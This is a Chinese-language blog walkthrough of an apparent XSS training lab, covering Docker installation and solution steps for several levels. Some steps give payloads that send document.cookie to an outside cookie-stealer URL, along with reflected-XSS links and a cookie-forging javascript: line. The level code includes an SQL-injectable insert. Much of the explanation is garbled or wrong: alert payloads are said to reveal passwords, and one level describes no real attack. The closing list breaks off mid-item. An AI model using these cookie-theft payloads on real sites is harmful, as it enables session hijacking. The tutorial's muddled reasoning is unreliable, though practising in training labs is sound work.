XSSlabs詳細解析

一、XSSlabs 安裝

XSS(Cross-site scripting)是一種常見的Web漏洞,XSS攻擊可以使攻擊者盜取用戶的敏感信息、偽造用戶提交惡意請求等。XSSlabs提供了一種模擬XSS攻擊和漏洞修復的訓練平台,讓上手的測試者快速學習和掌握XSS漏洞。接下來,我們將詳細介紹如何在本地安裝XSSlabs。

1. 首先需要安裝docker,安裝命令如下:


sudo apt-get update
sudo apt-get install docker.io

2. 下載XSSlabs的docker鏡像:


sudo docker pull blabla1337/xsslabsserver

3. 運行docker鏡像:


sudo docker run -p 80:80 blabla1337/xsslabsserver

4. 打開瀏覽器,輸入本機IP地址,出現安裝界面即表示安裝成功。

二、XSSlabs 第11關

XSSlabs第11關要求我們通過XSS漏洞進行管理員登錄。下面我們通過步驟演示:

1. 打開11關,觀察代碼:


<form action="" method="POST">
<p>Please enter the admin password:</p>
<input type="password" name="pwd">
<input type="submit" value="Login">
</form>

從代碼中可以看到,該頁面需要輸入管理員密碼來進行登錄,而密碼並不是在服務器端進行校驗,因此容易受到XSS攻擊。

2. 輸入以下代碼:


'<script>window.location="http://www.xsslab.com/cookiestealer.php?cookie="+document.cookie;</script>'

該代碼會將用戶的cookie信息發送給攻擊者,攻擊者即可通過該信息進行cookie偽造。

3. 提交代碼,管理員用戶登錄成功。

三、XSSlabs第9關

XSSlabs第9關要求我們從請求參數中獲得管理員密碼。下面我們通過步驟演示:

1. 打開9關,觀察代碼:


<form method="GET">
  <input name="p" value="" />
  <input type="submit" />
</form>
<?php
if( isset( $_GET[ 'p' ] ) ) {
  $pswd = $_GET[ 'p' ];
  if( isset( $pswd ) && $pswd == "abc123" ) {
    echo "

flag{this_is_flag_for_level_9_use_it_with_proud}

" ; } } ?>

從代碼中可以看到,該頁面需要輸入管理員密碼並提交,如果密碼正確,則會輸出flag。而密碼是從GET請求參數中獲取,因此可以通過構造惡意鏈接進行攻擊。

2. 構造以下鏈接:


http://xss.eonew.cn/level9.php?p=%27%3Balert(%27xss%27)%3B//

該鏈接會在頁面彈出xss彈窗,並獲得管理員密碼。

3. 輸入管理員密碼,獲得flag。

四、XSSlabs 第三關

XSSlabs第三關要求我們從Cookie中獲取用戶登錄信息。下面我們通過步驟演示:

1. 打開3關,觀察代碼:


<?php
if( isset( $_COOKIE[ 'loggedin' ] ) ) {
  if( $_COOKIE[ 'loggedin' ] === "1" ) {
    echo "

Logged in!

"; } } else { echo "

Please log in first!

"; } ?> <form action="" method="POST"> <input type="text" name="username" /> <input type="password" name="password" /> <input type="submit" value="Log in" /> </form> <?php if( isset( $_POST[ 'username' ] ) && isset( $_POST[ 'password' ] ) && $_POST[ 'password' ] === "password123" ) { setcookie( "loggedin", "1" ); echo "

Logged in!

"; } ?>

從代碼中可以看到,該頁面要求用戶輸入用戶名和密碼進行登錄,當用戶成功登錄後,服務器將loggedin設為1,並保存在cookie中。因此我們可以通過獲取cookie中的loggedin值來進行攻擊。

2. 在瀏覽器中強制設置loggedin=1:


javascript:void(document.cookie = 'loggedin=1;')

該代碼會強制將cookie中的loggedin設置為1。

3. 刷新頁面,成功登錄。

五、XSSlabs 第五關

XSSlabs第五關要求我們從referer中獲取攻擊者網站地址。下面我們通過步驟演示:

1. 打開5關,觀察代碼:


<!DOCTYPE html>
<html>
  <head>
    <title>Level 5 - From Referer</title>
  </head>
  <body>
    <?php
      $referer = @$_SERVER[ 'HTTP_REFERER' ];
      if( strlen( $referer ) > 0 ) {
        $pattern = "/^https?:\/\/([a-z]+\.)?google.com\/.*$/";
        if( preg_match( $pattern, $referer ) == 1 ) {
          echo "

Hello Google user!

"; } else { echo "

Hello attacker! Your referrer is: " . $referer . "

"; } } else { echo "

No referrer!

"; } ?> </body> </html>

從代碼中可以看到,該頁面判斷了referer是否為Google,如果是則輸出“Hello Google user!”,否則輸出“Hello attacker! Your referrer is: [referer]”。

2. 構造以下鏈接:


http://xss.eonew.cn/level5.php

該鏈接沒有referer,會輸出“No referrer!”。


https://www.baidu.com/link?url=blablabla

該鏈接的referer為百度,會輸出“Hello attacker! Your referrer is: https://www.baidu.com/link?url=blablabla”。

3. 完成5關。

六、XSSlabs 第六關

XSSlabs第六關要求我們從用戶的User-Agent中獲取信息。下面我們通過步驟演示:

1. 打開6關,觀察代碼:


<!DOCTYPE html>
<html>
  <head>
    <title>Level 6 - User-Agent</title>
  </head>
  <body>
    <?php
      $ua = $_SERVER[ "HTTP_USER_AGENT" ];
      echo $ua . "<br />\n\n";

      $ip = $_SERVER[ "REMOTE_ADDR" ];
      echo "Your IP address is " . $ip . "<br />\n\n";

      $time = date('Y-m-d H:i:s');
      echo "Server time is: " . $time;
    ?>
  </body>
</html>

從代碼中可以看到,該頁面通過$_SERVER[“HTTP_USER_AGENT”]獲取用戶的user-agent信息並輸出。

2. 打開6關頁面,查看輸出結果:


Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Your IP address is 127.0.0.1
Server time is: 2021-09-12 23:08:36

從輸出結果中可以看到,第一行為當前訪問用戶的user-agent信息。

3. 完成6關。

七、XSSlabs 第八關

XSSlabs第八關要求我們從反射型XSS漏洞獲取信息。下面我們通過步驟演示:

1. 打開8關,並輸入以下代碼:



alert(document.cookie);

該代碼可以彈出用戶的cookie信息。

2. 在8關頁面中,將以下代碼解析到url中,將會彈出該用戶cookie信息:


https://xss.eonew.cn/level8.php?search=<script>alert(document.cookie);</script>

3. 完成8關。

八、XSSlabs 第10關

XSSlabs第10關要求我們通過 stored xss 漏洞獲得flag。下面我們通過步驟演示:

1. 打開10關,觀察代碼:


<!DOCTYPE html>
<html>
  <head>
    <title>Level 10 - Stored</title>
  </head>
  <body>
    <form action="" method="POST">
      <p>Title:</p>
      <input type="text" name="entry_title" />
      <p>Body:</p>
      <textarea name="entry_body"></textarea>
      <br /><br />
      <input type="submit" name="submit" value="Submit" />
      <br /><br />
    </form>
    <?php
      if( isset( $_POST[ 'submit' ] ) ) {
        $db = new PDO( "sqlite:sql.db" );
        $title = $_POST[ 'entry_title' ];
        $body = $_POST[ 'entry_body' ];
        $db->exec( "INSERT INTO entries ( title, body ) VALUES ( '$title', '$body' )" );
      }
    ?>
  </body>
</html>

從代碼中可以看到,該頁面提供了一個提交表單,用戶可以在表單中輸入“title”和“body”,並將其存放在數據庫中。因為輸入框沒有剪輯輸入的代碼,所以很容易被注入。

2. 向body中注入以下代碼:


<script>window.location="http://www.xsslab.com/cookiestealer.php?cookie="+document.cookie;</script>

該代碼會將用戶的cookie信息發送給攻擊者,攻擊者即可通過該信息進行cookie偽造。

3. 提交代碼,flag將在數據庫中存儲。

九、XSSlabs 過關網址選取

以下是XSSlabs相關過關網址:


1. 解全概念:http://xss.eonew.cn
2. 長度大事:http://xss.eonew.cn/level2.php?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E
3. 獲取cookie: http://xss.eonew.cn/level3.php
4. 誘導點擊: http://xss.eonew.cn/level4.php
5. 獲取referer: http://xss.eonew.cn/level5.php
6. 獲取user-agent: http://xss.eonew.cn/level6.php
7. 工

原創文章,作者:ZVOK,如若轉載,請註明出處:https://www.506064.com/zh-hant/n/144990.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
ZVOK的頭像ZVOK
上一篇 2024-10-26 11:54
下一篇 2024-10-26 11:54

相關推薦

  • index.html怎麼打開 – 詳細解析

    一、index.html怎麼打開看 1、如果你已經擁有了index.html文件,那麼你可以直接使用任何一個現代瀏覽器打開index.html文件,比如Google Chrome、…

    編程 2025-04-25
  • Resetful API的詳細闡述

    一、Resetful API簡介 Resetful(REpresentational State Transfer)是一種基於HTTP協議的Web API設計風格,它是一種輕量級的…

    編程 2025-04-25
  • neo4j菜鳥教程詳細闡述

    一、neo4j介紹 neo4j是一種圖形數據庫,以實現高效的圖操作為設計目標。neo4j使用圖形模型來存儲數據,數據的表述方式類似於實際世界中的網絡。neo4j具有高效的讀和寫操作…

    編程 2025-04-25
  • AXI DMA的詳細闡述

    一、AXI DMA概述 AXI DMA是指Advanced eXtensible Interface Direct Memory Access,是Xilinx公司提供的基於AMBA…

    編程 2025-04-25
  • 關鍵路徑的詳細闡述

    關鍵路徑是項目管理中非常重要的一個概念,它通常指的是項目中最長的一條路徑,它決定了整個項目的完成時間。在這篇文章中,我們將從多個方面對關鍵路徑做詳細的闡述。 一、概念 關鍵路徑是指…

    編程 2025-04-25
  • c++ explicit的詳細闡述

    一、explicit的作用 在C++中,explicit關鍵字可以在構造函數聲明前加上,防止編譯器進行自動類型轉換,強制要求調用者必須強制類型轉換才能調用該函數,避免了將一個參數類…

    編程 2025-04-25
  • HTMLButton屬性及其詳細闡述

    一、button屬性介紹 button屬性是HTML5新增的屬性,表示指定文本框擁有可供點擊的按鈕。該屬性包括以下幾個取值: 按鈕文本 提交 重置 其中,type屬性表示按鈕類型,…

    編程 2025-04-25
  • Vim使用教程詳細指南

    一、Vim使用教程 Vim是一個高度可定製的文本編輯器,可以在Linux,Mac和Windows等不同的平台上運行。它具有快速移動,複製,粘貼,查找和替換等強大功能,尤其在面對大型…

    編程 2025-04-25
  • crontab測試的詳細闡述

    一、crontab的概念 1、crontab是什麼:crontab是linux操作系統中實現定時任務的程序,它能夠定時執行與系統預設時間相符的指定任務。 2、crontab的使用場…

    編程 2025-04-25
  • forof遍歷對象的詳細闡述

    forof是一種ES6的語法糖,用於遍歷可迭代對象。相較於傳統的for循環和forEach方法,forof更加簡潔、易讀,並且可以遍歷各種類型的數據。 一、基本語法 forof的基…

    編程 2025-04-25

發表回復

登錄後才能評論